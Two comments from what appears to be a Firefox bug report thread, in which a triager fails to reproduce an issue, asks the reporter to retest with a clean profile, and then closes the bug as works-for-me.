Hi, I didn't managed to reproduce this on the latest release(43.0.2) nor the latest Nightly(46.0a1). User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Build ID: 20151221130713 User Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:46.0) Gecko/20100101 Firefox/46.0 Build ID: 20151223030323 Can you please try to reproduce this on the latest release(43.0.2), latest Nightly(46.0a1) and provide the results? When doing this, you could create a new clean Firefox profile, or maybe test in safe mode, as some of this issues may be caused by third party installed addons or custom settings (https://support.mozilla.org/en-US/kb/troubleshoot-and-diagnose-firefox-problems). Thanks, Vlad.

Hi, Considering the facts that after a crash Mozilla FF restores the tabs that were opened and the reporter did not provide more information on my request, I will mark this issue as Resolved - WFM. If you can still reproduce this, feel free to reopen it and provide the requested information. Thanks.
